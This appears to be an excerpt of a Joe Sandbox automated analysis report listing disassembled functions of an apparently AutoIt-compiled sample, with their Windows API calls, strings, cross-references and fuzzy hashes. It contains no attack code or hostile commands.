API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 1a17e91991b1d30dc8efcdaa8ec9364956aec7ff4de4caabbba3b9b9366e50be
Instruction ID: 5392ec6da03866de8e1c0166535c5e0d954c4588b977fb8ce0a243bef75b9ab6
Opcode Fuzzy Hash: 1a17e91991b1d30dc8efcdaa8ec9364956aec7ff4de4caabbba3b9b9366e50be
Instruction Fuzzy Hash: 6661D0B2644205BEEB14DF64CC8ABBF77ACFB44B11F108549F919D60E1DBB4A980D7A0

Function 008E7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 008E77E7
#requireadmin, xrefs: 008E77FF
#pragma compile, xrefs: 008E77D3
#cs, xrefs: 008E7873, 008E78C5
#comments-start, xrefs: 008E785F, 008E78B1
#comments-end, xrefs: 008E78D9
", xrefs: 00925153
#ce, xrefs: 008E78ED
Unterminated group of comments, xrefs: 0092528C
Bad directive syntax error, xrefs: 0092519A
#include-once, xrefs: 008E782F
#include, xrefs: 008E7847
Cannot parse #include, xrefs: 00925279
', xrefs: 00925169
#OnAutoItStartRegister, xrefs: 008E7817

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: e642b037619b2ee4b0bf9560ab23ea623a74e139ac4f4fe392f196a3ab081baa
Instruction ID: 5b4a89b3e3d20b8770132fbfbf269f92867c1f182370e53a97fcd215d91e8236
Opcode Fuzzy Hash: e642b037619b2ee4b0bf9560ab23ea623a74e139ac4f4fe392f196a3ab081baa
Instruction Fuzzy Hash: 4281D171604219BFDB21AF65DC42FAF37A8FF96304F054024F909EA196EB70DA51C7A1

Function 00945A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00945A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00945A40
SetWindowTextW.USER32(?,?), ref: 00945A57
GetDlgItem.USER32(?,000003EA), ref: 00945A6C
SetWindowTextW.USER32(00000000,?), ref: 00945A72
GetDlgItem.USER32(?,000003E9), ref: 00945A82
SetWindowTextW.USER32(00000000,?), ref: 00945A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00945AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00945AC3
GetWindowRect.USER32(?,?), ref: 00945ACC
_wcslen.LIBCMT ref: 00945B33
SetWindowTextW.USER32(?,?), ref: 00945B6F
GetDesktopWindow.USER32 ref: 00945B75
GetWindowRect.USER32(00000000), ref: 00945B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00945BD3
GetClientRect.USER32(?,?), ref: 00945BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00945C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00945C2F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: fc5388e9e77125514346ceddbeb00f9334c3be68c46f9b8a1cad4a65492540d0
Instruction ID: 7cb1cb004e8e70506b8541f405d11df5015674f2eb64001ba2fb0ee8d9f5a1b7
Opcode Fuzzy Hash: fc5388e9e77125514346ceddbeb00f9334c3be68c46f9b8a1cad4a65492540d0
Instruction Fuzzy Hash: C5717C71900B09AFDB20DFA8CE85E6EBBF9FF48704F114A1CE586A25A1D775E940CB10

Function 009000C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 009000C6

Part of subcall function 009000ED: InitializeCriticalSectionAndSpinCount.KERNEL32(009B070C,00000FA0,B38A7FDF,?,?,?,?,009223B3,000000FF), ref: 0090011C
Part of subcall function 009000ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,009223B3,000000FF), ref: 00900127
Part of subcall function 009000ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,009223B3,000000FF), ref: 00900138
Part of subcall function 009000ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0090014E
Part of subcall function 009000ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0090015C
Part of subcall function 009000ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0090016A
Part of subcall function 009000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00900195
Part of subcall function 009000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009001A0

___scrt_fastfail.LIBCMT ref: 009000E7

Part of subcall function 009000A3: __onexit.LIBCMT ref: 009000A9

Strings

InitializeConditionVariable, xrefs: 00900148
WakeAllConditionVariable, xrefs: 00900162
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00900122
kernel32.dll, xrefs: 00900133
SleepConditionVariableCS, xrefs: 00900154

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 7918f89307d60963ad5baefd8b02c012ae62bbc02a9ec8af9477d2c2bda33536
Instruction ID: 0c25e94b647f3e5a6ba9e183c9b154ee8945522f122c3881eed56263b03707cd
Opcode Fuzzy Hash: 7918f89307d60963ad5baefd8b02c012ae62bbc02a9ec8af9477d2c2bda33536
Instruction Fuzzy Hash: F821297365C7106FD7205BB4AC4AB6A73A8EFC6B64F00413AF909E72D1DF7098009A90

Function 009430F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0094318D
_wcslen.LIBCMT ref: 009431F8

Strings

INSTANCE, xrefs: 00943453
REGEXPCLASS, xrefs: 00943255, 00943266
NAME, xrefs: 00943335, 00943346
TEXT, xrefs: 0094347C
CLASS, xrefs: 00943188, 009431A5
CLASSNN, xrefs: 009431F3, 00943204

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 4e3a3b148982f0ba8b0942e441055e2bf00e267df2b25619cb7299dc79206d7b
Instruction ID: 22e996ddf934af75e2f4891e1597d999a71b33ea2fd5e63b9a33bc259995b6b9
Opcode Fuzzy Hash: 4e3a3b148982f0ba8b0942e441055e2bf00e267df2b25619cb7299dc79206d7b
Instruction Fuzzy Hash: 75E1F532A00516ABCB289F78C451FEDBBB8FF45710F54C129E566E7290DB70AE8587A0

Function 009544C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0097CC08), ref: 00954527
_wcslen.LIBCMT ref: 0095453B
_wcslen.LIBCMT ref: 00954599
_wcslen.LIBCMT ref: 009545F4
_wcslen.LIBCMT ref: 0095463F
_wcslen.LIBCMT ref: 009546A7

Part of subcall function 008FF9F2: _wcslen.LIBCMT ref: 008FF9FD

GetDriveTypeW.KERNEL32(?,009A6BF0,00000061), ref: 00954743

Strings

ramdisk, xrefs: 009546F1
cdrom, xrefs: 0095458F, 00954594
fixed, xrefs: 00954635, 0095463A
all, xrefs: 00954531, 00954536
network, xrefs: 0095469D, 009546A2
removable, xrefs: 009545EA, 009545EF
unknown, xrefs: 00954708

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 176dcccbf62e3e1cdeea337e3935e79467a4414c5c975b51db17c7e58b2bebb1
Instruction ID: 26c53baa0af21e40001631192da74509bb44a69a8bfde2b899d56d865e7bdf82
Opcode Fuzzy Hash: 176dcccbf62e3e1cdeea337e3935e79467a4414c5c975b51db17c7e58b2bebb1
Instruction Fuzzy Hash: D5B138316083029FC750DF2AC890A6AB7E8FF96759F50491DF996C7291E730DC89CB92

Function 008E326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(009B1990), ref: 00922F8D
GetMenuItemCount.USER32(009B1990), ref: 0092303D
GetCursorPos.USER32(?), ref: 00923081
SetForegroundWindow.USER32(00000000), ref: 0092308A
TrackPopupMenuEx.USER32(009B1990,00000000,?,00000000,00000000,00000000), ref: 0092309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 009230A9

Strings

0, xrefs: 008E327D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: ab0b6c46cf41f0457aab5f6776e6cf6f351bebc6ccf430e1bd4cb0624c9f3486
Instruction ID: a4228584f9b47cf262377b6cb2130d09c9e9acd5e58a3034a3a80341c992ae76
Opcode Fuzzy Hash: ab0b6c46cf41f0457aab5f6776e6cf6f351bebc6ccf430e1bd4cb0624c9f3486
Instruction Fuzzy Hash: 8E714B71644215BEEB258F25DD89FAABF78FF01324F204206F618AB1E0C7B1AD50DB50

Function 00976CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00976DEB

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00976E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00976E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00976E94
DestroyWindow.USER32(?), ref: 00976EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,008E0000,00000000), ref: 00976EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00976EFD
GetDesktopWindow.USER32 ref: 00976F16
GetWindowRect.USER32(00000000), ref: 00976F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00976F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00976F4D

Part of subcall function 008F9944: GetWindowLongW.USER32(?,000000EB), ref: 008F9952

Strings

0, xrefs: 00976D98
tooltips_class32, xrefs: 00976E58, 00976EDD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 881a5507634c9c7e4e9f13044825debc907b8069939d32962bfabd576c858c90
Instruction ID: aa9af0f17ab9ad994b1b4a5bfa2617feffd31e0b601a8d2eede28653ed9b4aa7
Opcode Fuzzy Hash: 881a5507634c9c7e4e9f13044825debc907b8069939d32962bfabd576c858c90
Instruction Fuzzy Hash: 2F719872108241AFDB21DF28DC58FBABBF9FB89304F54491DF98987261C770A949DB12

Function 0097911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

DragQueryPoint.SHELL32(?,?), ref: 00979147

Part of subcall function 00977674: ClientToScreen.USER32(?,?), ref: 0097769A
Part of subcall function 00977674: GetWindowRect.USER32(?,?), ref: 00977710
Part of subcall function 00977674: PtInRect.USER32(?,?,00978B89), ref: 00977720

SendMessageW.USER32(?,000000B0,?,?), ref: 009791B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 009791BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 009791DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00979225
SendMessageW.USER32(?,000000B0,?,?), ref: 0097923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00979255
SendMessageW.USER32(?,000000B1,?,?), ref: 00979277
DragFinish.SHELL32(?), ref: 0097927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00979371

Strings

@GUI_DROPID, xrefs: 0097929E
@GUI_DRAGFILE, xrefs: 00979320
@GUI_DRAGID, xrefs: 009792E9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: db34b12b1cfdf2938c2b2a8edb836221a7d4996133e665ca5f33017c535f1ee9
Instruction ID: 164424bc6c56d67bc44ed3bc987c83d7326fe63b13c16e1a7229142288485ffb
Opcode Fuzzy Hash: db34b12b1cfdf2938c2b2a8edb836221a7d4996133e665ca5f33017c535f1ee9
Instruction Fuzzy Hash: 31616772108341AFC701EF65DC85DAFBBE8FB89750F40092EF5A5921A1DB709A49CB92

Function 0095C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0095C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0095C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0095C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0095C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0095C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0095C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0095C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0095C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0095C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0095C5F0
InternetCloseHandle.WININET(00000000), ref: 0095C5FB

Strings

, xrefs: 0095C575

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: f5a7d149d1954c0613666d99f44cd73ae2fabff037be8b3c293921af234f0a79
Instruction ID: 7668a32dc1b8551235d73459f09717a4b6dd8ab2bcc04911e9db3adca0b70243
Opcode Fuzzy Hash: f5a7d149d1954c0613666d99f44cd73ae2fabff037be8b3c293921af234f0a79
Instruction Fuzzy Hash: E7514EF1504305BFDB21CFA6C988AAB7BBCFF04755F00441DF94996250EB34EA49AB60

Function 0097856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00978592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785BA
GlobalLock.KERNEL32(00000000), ref: 009785C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785D7
GlobalUnlock.KERNEL32(00000000), ref: 009785E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 009785F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0097FC38,?), ref: 00978611
GlobalFree.KERNEL32(00000000), ref: 00978621
GetObjectW.GDI32(?,00000018,?), ref: 00978641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00978671
DeleteObject.GDI32(?), ref: 00978699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 009786AF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: ab53067a0da2a6176adf8170022cfd5fc2b7841b4e53842fe4a3225d3e9f7760
Instruction ID: 095435c52bee59a0c49331333d9c2b7a8e4b5584771e5023529c82313f390eac
Opcode Fuzzy Hash: ab53067a0da2a6176adf8170022cfd5fc2b7841b4e53842fe4a3225d3e9f7760
Instruction Fuzzy Hash: B54118B6644205BFDB119FA5CC8CEAB7BBCEF89B15F108058F919E7260DB309941DB60

Function 009514BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00951502
VariantCopy.OLEAUT32(?,?), ref: 0095150B
VariantClear.OLEAUT32(?), ref: 00951517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 009515FB
VarR8FromDec.OLEAUT32(?,?), ref: 00951657
VariantInit.OLEAUT32(?), ref: 00951708
SysFreeString.OLEAUT32(?), ref: 0095178C
VariantClear.OLEAUT32(?), ref: 009517D8
VariantClear.OLEAUT32(?), ref: 009517E7
VariantInit.OLEAUT32(00000000), ref: 00951823

Strings

Default, xrefs: 009516AF
%4d%02d%02d%02d%02d%02d, xrefs: 00951625

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 1c2e76688c29389a59fe8272206e19b484f5ca5cc40a1534847f6a4c01277b20
Instruction ID: b152dc8c1091713c57926e449b77d4a2dd89149fd8e40cd967d8a78a79f56c55
Opcode Fuzzy Hash: 1c2e76688c29389a59fe8272206e19b484f5ca5cc40a1534847f6a4c01277b20
Instruction Fuzzy Hash: A6D10172A00105DBCB00EF6AD885B7DB7B9FF45701F10845AF946AB191EB38DC4ADB62

Function 0096B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 0096C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0096B6AE,?,?), ref: 0096C9B5
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096C9F1
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA68
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0096B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0096B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0096B80A
RegCloseKey.ADVAPI32(?), ref: 0096B87E
RegCloseKey.ADVAPI32(?), ref: 0096B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0096B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0096B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0096B922
FreeLibrary.KERNEL32(00000000), ref: 0096B983
RegCloseKey.ADVAPI32(00000000), ref: 0096B994

Strings

RegDeleteKeyExW, xrefs: 0096B8FE
advapi32.dll, xrefs: 0096B8ED

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: b665d699f458925101652774964d7a4599a6c04fbe2e1327c6a6ca90d102159c
Instruction ID: c2b46c21e2ffdfd8621b3e5293ba174f24ac51e878cad8e046fccbb1aa00a534
Opcode Fuzzy Hash: b665d699f458925101652774964d7a4599a6c04fbe2e1327c6a6ca90d102159c
Instruction Fuzzy Hash: 24C19D31208241AFD714DF18C495F2ABBE5FF85308F14845CF4AA8B2A2DB75ED85CB92

Function 0096255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 009625D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 009625E8
CreateCompatibleDC.GDI32(?), ref: 009625F4
SelectObject.GDI32(00000000,?), ref: 00962601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0096266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 009626AC
